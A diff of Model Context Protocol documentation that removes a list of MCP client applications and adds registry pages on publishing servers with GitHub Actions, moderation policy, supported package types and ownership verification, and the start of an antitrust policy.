Low-latency, high-throughput interactions with structured data +### What is the difference between "Official MCP Registry", "MCP Registry", "MCP registry", "MCP Registry API", etc? - **Learn more:** +* "MCP Registry API" — An API that implements the [OpenAPI spec](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/api/openapi.yaml) defined by the MCP Registry. +* "Official MCP Registry API" — The REST API served at `https://registry.modelcontextprotocol.io`, which is a superset of the MCP Registry API. Its OpenAPI spec can be downloaded from [https://registry.modelcontextprotocol.io/openapi.yaml](https://registry.modelcontextprotocol.io/openapi.yaml). +* "MCP registry" — A third-party service that provides an MCP Registry API. +* "Official MCP Registry" (or "The MCP Registry") — The service that lives at `https://registry.modelcontextprotocol.io`. - * [Mistral MCP Documentation](https://help.mistral.ai/en/collections/911943-connectors) - +### Can I delete/unpublish my server? - - modelcontextchat.com is a web-based MCP client designed for working with remote MCP servers, featuring comprehensive authentication support and integration with OpenRouter. +Currently, no. At the time of writing, there is [open discussion](https://github.com/modelcontextprotocol/registry/issues/104). - **Key features:** +### How do I update my server metadata? - * Web-based interface for remote MCP server connections - * Header-based Authorization support for secure server access - * OAuth authentication integration - * OpenRouter API Key support for accessing various LLM providers - * No installation required - accessible from any web browser - +Submit a new `server.json` with a unique version string. Once published, version metadata is immutable (similar to npm). - - MooPoint is a web-based AI chat platform built for developers and advanced users, letting you interact with multiple large language models (LLMs) through a single, unified interface. Connect your own API keys (OpenAI, Anthropic, and more) and securely manage custom MCP server integrations. +### Can I add custom metadata when publishing? - **Key features:** +Yes, custom metadata under `_meta.io.modelcontextprotocol.registry/publisher-provided` is preserved when publishing to the registry. This allows you to include custom metadata specific to your publishing process. - * Accessible from any PC or smartphone—no installation required - * Choose your preferred LLM provider - * Supports `SSE`, `Streamable HTTP`, `npx`, and `uvx` MCP servers - * OAuth and sampling support - * New features added daily - + + There is a 4KB size limit (4096 bytes of JSON). Publishing will fail if this limit is exceeded. + - - Msty Studio is a privacy-first AI productivity platform that seamlessly integrates local and online language models (LLMs) into customizable workflows. Designed for both technical and non-technical users, Msty Studio offers a suite of tools to enhance AI interactions, automate tasks, and maintain full control over data and model behavior. +## Reporting Issues - **Key features:** +### What if I need to report a spam or malicious server? - * **Toolbox & Toolsets**: Connect AI models to local tools and scripts using MCP-compliant configurations. Group tools into Toolsets to enable dynamic, multi-step workflows within conversations. - * **Turnstiles**: Create automated, multi-step AI interactions, allowing for complex data processing and decision-making flows. - * **Real-Time Data Integration**: Enhance AI responses with up-to-date information by integrating real-time web search capabilities. - * **Split Chats & Branching**: Engage in parallel conversations with multiple models simultaneously, enabling comparative analysis and diverse perspectives. +1. Report it as abuse to the underlying package registry (e.g. NPM, PyPi, DockerHub, etc.); and +2. Raise a GitHub issue on the registry repo with a title beginning `Abuse report: ` - **Learn more:** +### What if I need to report a security vulnerability in the registry itself? - * [Msty Studio Documentation](https://docs.msty.studio/features/toolbox/tools) - +Follow [the MCP community SECURITY.md](https://github.com/modelcontextprotocol/.github/blob/main/SECURITY.md). - - Needle is a RAG workflow platform that also works as an MCP client, letting you connect and use MCP servers in seconds. - **Key features:** +# How to Automate Publishing with GitHub Actions +Source: https://modelcontextprotocol.io/registry/github-actions - * **Instant MCP integration:** Connect any remote MCP server to your collection in seconds - * **Built-in RAG:** Automatically get retrieval-augmented generation out of the box - * **Secure OAuth:** Safe, token-based authorization when connecting to servers - * **Smart previews:** See what each MCP server can do and selectively enable the tools you need - **Learn more:** - * [Getting Started](https://docs.needle.app/docs/guides/hello-needle/getting-started/) - + + The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). + - - NVIDIA Agent Intelligence (AIQ) toolkit is a flexible, lightweight, and unifying library that allows you to easily connect existing enterprise agents to data sources and tools across any framework. +## Step 1: Create a Workflow File - **Key features:** +In your server project directory, create a `.github/workflows/publish-mcp.yml` file. Here is an example for npm-based local server, but the MCP Registry publishing steps are the same for all package types: - * Acts as an MCP **client** to consume remote tools - * Acts as an MCP **server** to expose tools - * Framework agnostic and compatible with LangChain, CrewAI, Semantic Kernel, and custom agents - * Includes built-in observability and evaluation tools + + ```yaml OIDC authentication (recommended) theme={null} + name: Publish to MCP Registry - **Learn more:** + on: + push: + tags: ["v*"] # Triggers on version tags like v1.0.0 - * [AIQ toolkit MCP documentation](https://docs.nvidia.com/aiqtoolkit/latest/workflows/mcp/index.html) - + jobs: + publish: + runs-on: ubuntu-latest + permissions: + id-token: write # Required for OIDC authentication + contents: read - - OpenCode is an open source AI coding agent. It’s available as a terminal-based interface, desktop app, or IDE extension. + steps: + - name: Checkout code + uses: actions/checkout@v5 - **Key features:** + ### Publish underlying npm package: - * Support for MCP tools - * Support for MCP resources in the cli using `@` prefix - * Support for MCP prompts in the cli as slash commands using `/` prefix - + - name: Set up Node.js + uses: actions/setup-node@v5 + with: + node-version: "lts/*" - - OpenSumi is a framework helps you quickly build AI Native IDE products. + - name: Install dependencies + run: npm ci - **Key features:** + - name: Run tests + run: npm run test --if-present - * Supports MCP tools in OpenSumi - * Supports built-in IDE MCP servers and custom MCP servers - + - name: Build package + run: npm run build --if-present - - oterm is a terminal client for Ollama allowing users to create chats/agents. + - name: Publish package to npm + run: npm publish + env: + NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} - **Key features:** + ### Publish MCP server: - * Support for multiple fully customizable chat sessions with Ollama connected with tools. - * Support for MCP tools. - + - name: Install mcp-publisher + run: | + curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher - - Postman is the most popular API client and now supports MCP server testing and debugging. + - name: Authenticate to MCP Registry + run: ./mcp-publisher login github-oidc - **Key features:** + # Optional: + # - name: Set version in server.json + # run: | + # VERSION=${GITHUB_REF#refs/tags/v} + # jq --arg v "$VERSION" '.version = $v' server.json > server.tmp && mv server.tmp server.json - * Full support of all major MCP features (tools, prompts, resources, and subscriptions) - * Fast, seamless UI for debugging MCP capabilities - * MCP config integration (Claude, VSCode, etc.) for fast first-time experience in testing MCPs - * Integration with history, variables, and collections for reuse and collaboration - + - name: Publish server to MCP Registry + run: ./mcp-publisher publish + ``` - - Proxyman is a native macOS app for HTTP debugging and network monitoring. It now includes an MCP Server that enables AI assistants (Claude, Cursor, and other MCP-compatible tools) to directly interact with Proxyman for inspecting HTTP traffic, creating debugging rules, and controlling the app through natural language. + ```yaml PAT authentication theme={null} + name: Publish to MCP Registry - **Key features:** + on: + push: + tags: ["v*"] # Triggers on version tags like v1.0.0 - * **AI-Powered Debugging**: Ask AI to analyze captured traffic, find specific requests, or explain API responses - * **Hands-Free Rule Creation**: Create breakpoints, map local/remote rules through conversation - * **Traffic Inspection Tools**: Get flows, flow details, export cURL commands, and filter traffic with multiple criteria - * **Session Control**: Clear sessions, toggle recording, and manage SSL proxying domains - * **Secure by Design**: Localhost-only server with per-session token authentication + jobs: + publish: + runs-on: ubuntu-latest + permissions: + contents: read - **Learn more:** + steps: + - name: Checkout code + uses: actions/checkout@v5 - * [Proxyman MCP Documentation](https://docs.proxyman.com/mcp) - * [Proxyman Website](https://proxyman.com) - + ### Publish underlying npm package: - - RecurseChat is a powerful, fast, local-first chat client with MCP support. RecurseChat supports multiple AI providers including LLaMA.cpp, Ollama, and OpenAI, Anthropic. + - name: Set up Node.js + uses: actions/setup-node@v5 + with: + node-version: "lts/*" - **Key features:** + - name: Install dependencies + run: npm ci - * Local AI: Support MCP with Ollama models. - * MCP Tools: Individual MCP server management. Easily visualize the connection states of MCP servers. - * MCP Import: Import configuration from Claude Desktop app or JSON + - name: Run tests + run: npm run test --if-present - **Learn more:** + - name: Build package + run: npm run build --if-present - * [RecurseChat docs](https://recurse.chat/docs/features/mcp/) - + - name: Publish package to npm + run: npm publish + env: + NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} - - Replit Agent is an AI-powered software development tool that builds and deploys applications through natural language. It supports MCP integration, enabling users to extend the agent's capabilities with custom tools and data sources. + ### Publish MCP server: - **Learn more:** + - name: Install mcp-publisher + run: | + curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher - * [Replit MCP Documentation](https://docs.replit.com/replitai/mcp/overview) - * [MCP Install Links](https://docs.replit.com/replitai/mcp/install-links) - + - name: Authenticate to MCP Registry + run: ./mcp-publisher login github --token ${{ secrets.MCP_GITHUB_TOKEN }} - - Roo Code enables AI coding assistance via MCP. + # Optional: + # - name: Set version in server.json + # run: | + # VERSION=${GITHUB_REF#refs/tags/v} + # jq --arg v "$VERSION" '.version = $v' server.json > server.tmp && mv server.tmp server.json - **Key features:** + - name: Publish server to MCP Registry + run: ./mcp-publisher publish + ``` - * Support for MCP tools and resources - * Integration with development workflows - * Extensible AI capabilities - + ```yaml DNS authentication theme={null} + name: Publish to MCP Registry - - [rtrvr.ai](https://rtrvr.ai) is AI Web Agent Chrome Extension that autonomously runs complex browser workflows, retrieves data to Sheets, and calls API's/MCP Servers – all with just prompting and within your own browser! + on: + push: + tags: ["v*"] # Triggers on version tags like v1.0.0 - **Key features:** + jobs: + publish: + runs-on: ubuntu-latest + permissions: + contents: read - * Easy MCP Integration within your browser: Just open the Chrome Extension, add the server URL, and prompt server calls with the web as context! - * Remote control your browser by turning your browser into MCP Server: Just copy/paste MCP URL into any MCP Client (no npx needed), and trigger agentic browser workflows! - * Prompt our agent to execute workflows combining web agentic actions with MCP tool calls; find someone's email on the web and then send them an email with Zapier MCP. - * Reusable and Schedulable Automations: After running a workflow, easily rerun or put on a schedule to execute in the background while you do other tasks in your browser. - + steps: + - name: Checkout code + uses: actions/checkout@v5 - - Shortwave is an AI-powered email client that supports MCP tools to enhance email productivity and workflow automation. + ### Publish underlying npm package: - **Key features:** + - name: Set up Node.js + uses: actions/setup-node@v5 + with: + node-version: "lts/*" - * MCP tool integration for enhanced email workflows - * Rich UI for adding, managing and interacting with a wide range of MCP servers - * Support for both remote (Streamable HTTP and SSE) and local (Stdio) MCP servers - * AI assistance for managing your emails, calendar, tasks and other third-party services - + - name: Install dependencies + run: npm ci - - Simtheory is an agentic AI workspace that unifies multiple AI models, tools, and capabilities under a single subscription. It provides comprehensive MCP support through its MCP Store, allowing users to extend their workspace with productivity tools and integrations. + - name: Run tests + run: npm run test --if-present - **Key features:** + - name: Build package + run: npm run build --if-present - * **MCP Store**: Marketplace for productivity tools and MCP server integrations - * **Parallel Tasking**: Run multiple AI tasks simultaneously with MCP tool support - * **Model Catalogue**: Access to frontier models with MCP tool integration - * **Hosted MCP Servers**: Plug-and-play MCP integrations with no technical setup - * **Advanced MCPs**: Specialized tools like Tripo3D (3D creation), Podcast Maker, and Video Maker - * **Enterprise Ready**: Flexible workspaces with granular access control for MCP tools + - name: Publish package to npm + run: npm publish + env: + NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} - **Learn more:** + ### Publish MCP server: - * [Simtheory website](https://simtheory.ai) - + - name: Install mcp-publisher + run: | + curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher - - Slack MCP Client acts as a bridge between Slack and Model Context Protocol (MCP) servers. Using Slack as the interface, it enables large language models (LLMs) to connect and interact with various MCP servers through standardized MCP tools. + # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + # TODO: Replace `example.com` with your domain name + # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + - name: Authenticate to MCP Registry + run: ./mcp-publisher login dns --domain example.com --private-key ${{ secrets.MCP_PRIVATE_KEY }} - **Key features:** + # Optional: + # - name: Set version in server.json + # run: | + # VERSION=${GITHUB_REF#refs/tags/v} + # jq --arg v "$VERSION" '.version = $v' server.json > server.tmp && mv server.tmp server.json - * **Supports Popular LLM Providers:** Integrates seamlessly with leading large language model providers such as OpenAI, Anthropic, and Ollama, allowing users to leverage advanced conversational AI and orchestration capabilities within Slack. - * **Dynamic and Secure Integration:** Supports dynamic registration of MCP tools, works in both channels and direct messages and manages credentials securely via environment variables or Kubernetes secrets. - * **Easy Deployment and Extensibility:** Offers official Docker images, a Helm chart for Kubernetes, and Docker Compose for local development, making it simple to deploy, configure, and extend with additional MCP servers or tools. - + - name: Publish server to MCP Registry + run: ./mcp-publisher publish + ``` + - - Smithery Playground is a developer-first MCP client for exploring, testing and debugging MCP servers against LLMs. It provides detailed traces of MCP RPCs to help troubleshoot implementation issues. +## Step 2: Add Secrets - **Key features:** +You may need to add a secret to the repository depending on which authentication method you choose: - * One-click connect to MCP servers via URL or from Smithery's registry - * Develop MCP servers that are running on localhost - * Inspect tools, prompts, resources, and sampling configurations with live previews - * Run conversational or raw tool calls to verify MCP behavior before shipping - * Full OAuth MCP-spec support - +* **GitHub OIDC Authentication**: No dedicated secret necessary. +* **GitHub PAT Authentication**: Add a `MCP_GITHUB_TOKEN` secret with a GitHub Personal Access Token (PAT) that has `read:org` and `read:user` scopes. +* **DNS Authentication**: Add a `MCP_PRIVATE_KEY` secret with your Ed25519 private key. - - SpinAI is an open-source TypeScript framework for building observable AI agents. The framework provides native MCP compatibility, allowing agents to seamlessly integrate with MCP servers and tools. +You may also need to add secrets for your package registry. For example, the workflow above needs an `NPM_TOKEN` secret with your npm token. - **Key features:** +For information about how to add secrets to a repository, see [Using secrets in GitHub Actions](https://docs.github.com/en/actions/how-tos/write-workflows/choose-what-workflows-do/use-secrets). - * Built-in MCP compatibility for AI agents - * Open-source TypeScript framework - * Observable agent architecture - * Native support for MCP tools integration - +## Step 3: Tag and Release - - Superinterface is AI infrastructure and a developer platform to build in-app AI assistants with support for MCP, interactive components, client-side function calling and more. +Create and push a version tag to trigger the workflow: - **Key features:** +```bash theme={null} +git tag v1.0.0 +git push origin v1.0.0 +``` - * Use tools from MCP servers in assistants embedded via React components or script tags - * SSE transport support - * Use any AI model from any AI provider (OpenAI, Anthropic, Ollama, others) - +The workflow will run tests, build the package, publish the package to npm, and publish the server to the MCP Registry. - - Superjoin brings the power of MCP directly into Google Sheets extension. With Superjoin, users can access and invoke MCP tools and agents without leaving their spreadsheets, enabling powerful AI workflows and automation right where their data lives. +## Troubleshooting - **Key features:** +| Error Message | Action | +| --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| "Authentication failed" | Ensure `id-token: write` permission is set for OIDC, or check secrets. | +| "Package validation failed" | Verify your package successfully published to the package registry (e.g., npm, PyPI), and that your package has the [necessary verification information](./package-types). | - * Native Google Sheets add-on providing effortless access to MCP capabilities - * Supports OAuth 2.1 and header-based authentication for secure and flexible connections - * Compatible with both SSE and Streamable HTTP transport for efficient, real-time streaming communication - * Fully web-based, cross-platform client requiring no additional software installation - - - Swarms is a production-grade multi-agent orchestration framework that supports MCP integration for dynamic tool discovery and execution. +# The MCP Registry Moderation Policy +Source: https://modelcontextprotocol.io/registry/moderation-policy - **Key features:** - * Connects to MCP servers via SSE transport for real-time tool integration - * Automatic tool discovery and loading from MCP servers - * Support for distributed tool functionality across multiple agents - * Enterprise-ready with high availability and observability features - * Modular architecture supporting multiple AI model providers - **Learn more:** + + The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). + - * [Swarms MCP Integration Documentation](https://docs.swarms.world/en/latest/swarms/tools/tools_examples/) - +**TL;DR**: The MCP Registry is quite permissive! We only remove illegal content, malware, spam, and completely broken servers. - - systemprompt is a voice-controlled mobile app that manages your MCP servers. Securely leverage MCP agents from your pocket. Available on iOS and Android. +## Scope - **Key features:** +This policy applies to the official MCP Registry at `registry.modelcontextprotocol.io`. - * **Native Mobile Experience**: Access and manage your MCP servers anytime, anywhere on both Android and iOS devices - * **Advanced AI-Powered Voice Recognition**: Sophisticated voice recognition engine enhanced with cutting-edge AI and Natural Language Processing (NLP), specifically tuned to understand complex developer terminology and command structures - * **Unified Multi-MCP Server Management**: Effortlessly manage and interact with multiple Model Context Protocol (MCP) servers from a single, centralized mobile application - +Subregistries may have their own moderation policies. If you have questions about content on a specific subregistry, please contact them directly. - - Tambo is a platform for building custom chat experiences in React, with integrated custom user interface components. +## Disclaimer - **Key features:** +The MCP Registry **does not** make guarantees about moderation, and consumers should assume minimal-to-no moderation. - * Hosted platform with React SDK for integrating chat or other LLM-based experiences into your own app. - * Support for selection of arbitrary React components in the chat experience, with state management and tool calling. - * Support for MCP servers, from Tambo's servers or directly from the browser. - * Supports OAuth 2.1 and custom header-based authentication. - * Support for MCP tools and sampling, with additional MCP features coming soon. - +The MCP Registry is a community supported project, and we have limited active moderation capabilities. We largely rely on upstream package registries (like NPM, PyPI, and Docker) or downstream subregistries (like the GitHub MCP Registry) to do more in-depth moderation. - - Tencent CloudBase AI DevKit is a tool for building AI agents in minutes, featuring zero-code tools, secure data integration, and extensible plugins via MCP. +This means there may be content in the MCP Registry that should be removed under this policy, but which we haven't yet removed. Consumers should treat scraped data accordingly. - **Key features:** +## What We Remove - * Support for MCP tools - * Extend agents with MCP servers - * MCP servers hosting: serverless hosting and authentication support - +We will remove servers that contain: + +* Illegal content, which includes obscene content, copyright violations, and hacking tools +* Malware, regardless of intentions +* Spam, especially mass-created servers that disrupt the registry. Examples: + * The same server being submitted multiple times under different names + * A server that doesn't do anything but provide a fixed response with some marketing copy + * A server with a description stuffed with marketing copy and an unrelated implementation +* Non-functioning servers - - Theia AI is a framework for building AI-enhanced tools and IDEs. The [AI-powered Theia IDE](https://eclipsesource.com/blogs/2024/10/08/introducting-ai-theia-ide/) is an open and flexible development environment built on Theia AI. +## What We Don't Remove - **Key features:** +Generally, we believe in keeping the registry open and pushing moderation to subregistries. We therefore **won't** remove: - * **Tool Integration**: Theia AI enables AI agents, including those in the Theia IDE, to utilize MCP servers for seamless tool interaction. - * **Customizable Prompts**: The Theia IDE allows users to define and adapt prompts, dynamically integrating MCP servers for tailored workflows. - * **Custom agents**: The Theia IDE supports creating custom agents that leverage MCP capabilities, enabling users to design dedicated workflows on the fly. +* Low-quality or buggy servers +* Servers with security vulnerabilities +* Servers that do the same thing as other servers +* Servers that provide or contain adult content - Theia AI and Theia IDE's MCP integration provide users with flexibility, making them powerful platforms for exploring and adapting MCP. +## How Removal Works - **Learn more:** +When we remove a server, we set the server's `status` to `"deleted"`, but the server's metadata remains accessible via the MCP Registry API. Aggregators may then remove the server from their indexes. - * [Theia IDE and Theia AI MCP Announcement](https://eclipsesource.com/blogs/2024/12/19/theia-ide-and-theia-ai-support-mcp/) - * [Download the AI-powered Theia IDE](https://theia-ide.org/) - +In extreme cases, we may overwrite or erase the server's metadata. For example, if the metadata itself is unlawful. - - Tome is an open source cross-platform desktop app designed for working with local LLMs and MCP servers. It is designed to be beginner friendly and abstract away the nitty gritty of configuration for people getting started with MCP. +## Appeals - **Key features:** +Think we made a mistake? Open an issue on our [GitHub repository](https://github.com/modelcontextprotocol/registry) with: - * MCP servers are managed by Tome so there is no need to install uv or npm or configure JSON - * Users can quickly add or remove MCP servers via UI - * Any tool-supported local model on Ollama is compatible - +* The name of the server +* Why you believe the server doesn't meet the above criteria for removal - - TypingMind is an advanced frontend for LLMs with MCP support. TypingMind supports all popular LLM providers like OpenAI, Gemini, Claude, and users can use with their own API keys. +## Changes to This Policy - **Key features:** +We're still learning how best to run the MCP Registry! As such, we might end up changing this policy in the future. - * **MCP Tool Integration**: Once MCP is configured, MCP tools will show up as plugins that can be enabled/disabled easily via the main app interface. - * **Assign MCP Tools to Agents**: TypingMind allows users to create AI agents that have a set of MCP servers assigned. - * **Remote MCP servers**: Allows users to customize where to run the MCP servers via its MCP Connector configuration, allowing the use of MCP tools across multiple devices (laptop, mobile devices, etc.) or control MCP servers from a remote private server. - **Learn more:** +# MCP Registry Supported Package Types +Source: https://modelcontextprotocol.io/registry/package-types - * [TypingMind MCP Document](https://www.typingmind.com/mcp) - * [Download TypingMind (PWA)](https://www.typingmind.com/) - - - v0 turns your ideas into fullstack apps, no code required. Describe what you want with natural language, and v0 builds it for you. v0 can search the web, inspect sites, automatically fix errors, and integrate with external tools. - **Key features:** + + The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). + - * **Visual to Code**: Create high-fidelity UIs from your wireframes or mockups - * **One-Click Deploy**: Deploy with one click to a secure, scalable infrastructure - * **Web Search**: Search the web for current information and get cited results - * **Site Inspector**: Inspect websites to understand their structure and content - * **Auto Error Fixing**: Automatically fix errors in your code with intelligent diagnostics - * **MCP Integrations**: Connect to MCP servers from the Vercel Marketplace for zero-config setup, or add your own custom MCP servers +# Package Types - **Learn more:** +The MCP Registry supports several different package types, and each package type has its own verification method. - * [v0 Website](https://v0.app) - +## npm Packages - - VS Code integrates MCP with GitHub Copilot through [agent mode](https://code.visualstudio.com/docs/copilot/chat/chat-agent-mode), allowing direct interaction with MCP-provided tools within your agentic coding workflow. Configure servers in Claude Desktop, workspace or user settings, with guided MCP installation and secure handling of keys in input variables to avoid leaking hard-coded keys. +For npm packages, the MCP Registry currently supports the npm public registry (`https://registry.npmjs.org`) only. - **Key features:** +npm packages use `"registryType": "npm"` in `server.json`. For example: - * Support for stdio and server-sent events (SSE) transport - * Per-session selection of tools per agent session for optimal performance - * Easy server debugging with restart commands and output logging - * Tool calls with editable inputs and always-allow toggle - * Integration with existing VS Code extension system to register MCP servers from extensions - +```json server.json highlight={9} theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "io.github.username/email-integration-mcp", + "title": "Email Integration", + "description": "Send emails and manage email accounts", + "version": "1.0.0", + "packages": [ + { + "registryType": "npm", + "identifier": "@username/email-integration-mcp", + "version": "1.0.0", + "transport": { + "type": "stdio" + } + } + ] +} +``` - - VT Code is a terminal coding agent that integrates with Model Context Protocol (MCP) servers, focusing on predictable tool permissions and robust transport controls. +### Ownership Verification - **Key features:** +The MCP Registry verifies ownership of npm packages by checking `mcpName` in `package.json`. The `mcpName` property **MUST** match the server name from `server.json`. For example: - * Connect to MCP servers over stdio; optional experimental RMCP/streamable HTTP support - * Configurable per-provider concurrency, startup/tool timeouts, and retries via `vtcode.toml` - * Pattern-based allowlists for tools, resources, and prompts with provider-level overrides +```json package.json theme={null} +{ + "name": "@username/email-integration-mcp", + "version": "1.0.0", + "mcpName": "io.github.username/email-integration-mcp" +} +``` - **Learn more:** +## PyPI Packages - * [MCP Integration Guide](https://github.com/vinhnx/vtcode/blob/main/docs/guides/mcp-integration.md) - +For PyPI packages, the MCP Registry currently supports the official PyPI registry (`https://pypi.org`) only. - - Warp is the intelligent terminal with AI and your dev team's knowledge built-in. With natural language capabilities integrated directly into an agentic command line, Warp enables developers to code, automate, and collaborate more efficiently -- all within a terminal that features a modern UX. +PyPI packages use `"registryType": "pypi"` in `server.json`. For example: - **Key features:** +```json server.json highlight={9} theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "io.github.username/database-query-mcp", + "title": "Database Query", + "description": "Execute SQL queries and manage database connections", + "version": "1.0.0", + "packages": [ + { + "registryType": "pypi", + "identifier": "database-query-mcp", + "version": "1.0.0", + "transport": { + "type": "stdio" + } + } + ] +} +``` - * **Agent Mode with MCP support**: invoke tools and access data from MCP servers using natural language prompts - * **Flexible server management**: add and manage CLI or SSE-based MCP servers via Warp's built-in UI - * **Live tool/resource discovery**: view tools and resources from each running MCP server - * **Configurable startup**: set MCP servers to start automatically with Warp or launch them manually as needed - +### Ownership Verification - - WhatsMCP is an MCP client for WhatsApp. WhatsMCP lets you interact with your AI stack from the comfort of a WhatsApp chat. +The MCP Registry verifies ownership of PyPI packages by checking for the existence of an `mcp-name: $SERVER_NAME` string in the package README (which becomes the package description on PyPI). The string may be hidden in a comment, but the `$SERVER_NAME` portion **MUST** match the server name from `server.json`. For example: - **Key features:** +```markdown README.md highlight={5} theme={null} +# Database Query MCP Server - * Supports MCP tools - * SSE transport, full OAuth2 support - * Chat flow management for WhatsApp messages - * One click setup for connecting to your MCP servers - * In chat management of MCP servers - * Oauth flow natively supported in WhatsApp - +This MCP server executes SQL queries and manages database connections. - - Windsurf Editor is an agentic IDE that combines AI assistance with developer workflows. It features an innovative AI Flow system that enables both collaborative and independent AI interactions while maintaining developer control. + +``` - **Key features:** +## NuGet Packages - * Revolutionary AI Flow paradigm for human-AI collaboration - * Intelligent code generation and understanding - * Rich development tools with multi-model support - +For NuGet packages, the MCP Registry currently supports the official NuGet registry (`https://api.nuget.org/v3/index.json`) only. - - Witsy is an AI desktop assistant, supporting Anthropic models and MCP servers as LLM tools. +NuGet packages use `"registryType": "nuget"` in `server.json`. For example: - **Key features:** +```json server.json highlight={9} theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "io.github.username/azure-devops-mcp", + "title": "Azure DevOps", + "description": "Manage Azure DevOps work items and pipelines", + "version": "1.0.0", + "packages": [ + { + "registryType": "nuget", + "identifier": "Username.AzureDevOpsMcp", + "version": "1.0.0", + "transport": { + "type": "stdio" + } + } + ] +} +``` - * Multiple MCP servers support - * Tool integration for executing commands and scripts - * Local server connections for enhanced privacy and security - * Easy-install from Smithery.ai - * Open-source, available for macOS, Windows and Linux - +### Ownership Verification - - Zed is a high-performance code editor with built-in MCP support, focusing on prompt templates and tool integration. +The MCP Registry verifies ownership of NuGet packages by checking for the existence of an `mcp-name: $SERVER_NAME` string in the package README. The string may be hidden in a comment, but the `$SERVER_NAME` portion **MUST** match the server name from `server.json`. For example: - **Key features:** +```markdown README.md highlight={5} theme={null} +# Azure DevOps MCP Server - * Prompt templates surface as slash commands in the editor - * Tool integration for enhanced coding workflows - * Tight integration with editor features and workspace context - * Does not support MCP resources - +This MCP server manages Azure DevOps work items and pipelines. - - Zencoder is a coding agent that's available as an extension for VS Code and JetBrains family of IDEs, meeting developers where they already work. It comes with RepoGrokking (deep contextual codebase understanding), agentic pipeline, and the ability to create and share custom agents. + +``` - **Key features:** +## Docker/OCI Images - * RepoGrokking - deep contextual understanding of codebases - * Agentic pipeline - runs, tests, and executes code before outputting it - * Zen Agents platform - ability to build and create custom agents and share with the team - * Integrated MCP tool library with one-click installations - * Specialized agents for Unit and E2E Testing +For Docker/OCI images, the MCP Registry currently supports: - **Learn more:** +* Docker Hub (`docker.io`) +* GitHub Container Registry (`ghcr.io`) +* Google Artifact Registry (any `*.pkg.dev` domain) +* Azure Container Registry (`*.azurecr.io`) +* Microsoft Container Registry (`mcr.microsoft.com`) - * [Zencoder Documentation](https://docs.zencoder.ai) - +Docker/OCI images use `"registryType": "oci"` in `server.json`. For example: -## Adding MCP support to your application +```json server.json highlight={9} theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "io.github.username/kubernetes-manager-mcp", + "title": "Kubernetes Manager", + "description": "Deploy and manage Kubernetes resources", + "version": "1.0.0", + "packages": [ + { + "registryType": "oci", + "identifier": "docker.io/yourusername/kubernetes-manager-mcp:1.0.0", + "transport": { + "type": "stdio" + } + } + ] +} +``` -If you've added MCP support to your application, we encourage you to submit a pull request to add it to this list. MCP integration can provide your users with powerful contextual AI capabilities and make your application part of the growing MCP ecosystem. +The format of `identifier` is `registry/namespace/repository:tag`. For example, `docker.io/user/app:1.0.0` or `ghcr.io/user/app:1.0.0`. The tag can also be specified as a digest. -Benefits of adding MCP support: +### Ownership Verification -* Enable users to bring their own context and tools -* Join a growing ecosystem of interoperable AI applications -* Provide users with flexible integration options -* Support local-first AI workflows +The MCP Registry verifies ownership of Docker/OCI images by checking for an `io.modelcontextprotocol.server.name` annotation. The value of the `io.modelcontextprotocol.server.name` annotation **MUST** match the server name from `server.json`. For example: -To get started with implementing MCP in your application, check out our [Python](https://github.com/modelcontextprotocol/python-sdk) or [TypeScript SDK Documentation](https://github.com/modelcontextprotocol/typescript-sdk) +```dockerfile Dockerfile theme={null} +LABEL io.modelcontextprotocol.server.name="io.github.username/kubernetes-manager-mcp" +``` +## MCPB Packages -# Antitrust Policy -Source: https://modelcontextprotocol.io/community/antitrust +For MCPB packages, the MCP Registry currently supports MCPB artifacts hosted via GitHub or GitLab releases. -MCP Project Antitrust Policy for participants and contributors +MCPB packages use `"registryType": "mcpb"` in `server.json`. For example: -**Effective: September 29, 2025** +```json server.json highlight={9} theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "io.github.username/image-processor-mcp", + "title": "Image Processor", + "description": "Process and transform images with various filters", + "version": "1.0.0", + "packages": [ + { + "registryType": "mcpb", + "identifier": "https://github.com/username/image-processor-mcp/releases/download/v1.0.0/image-processor.mcpb", + "fileSha256": "fe333e598595000ae021bd27117db32ec69af6987f507ba7a63c90638ff633ce", + "transport": { + "type": "stdio" + } + } + ] +} +``` -## Introduction +### Verification -The goal of the Model Context Protocol open source project (the "Project") is to develop a universal standard for model-to-world interactions, including enabling LLMs and agents to seamlessly connect with and utilize external data sources and tools. The purpose of this Antitrust Policy (the "Policy") is to avoid antitrust risks in carrying out this pro-competitive mission. +The MCPB package URL (`identifier` in `server.json`) **MUST** contain the string "mcp". That can be as part of the `.mcpb` file extension 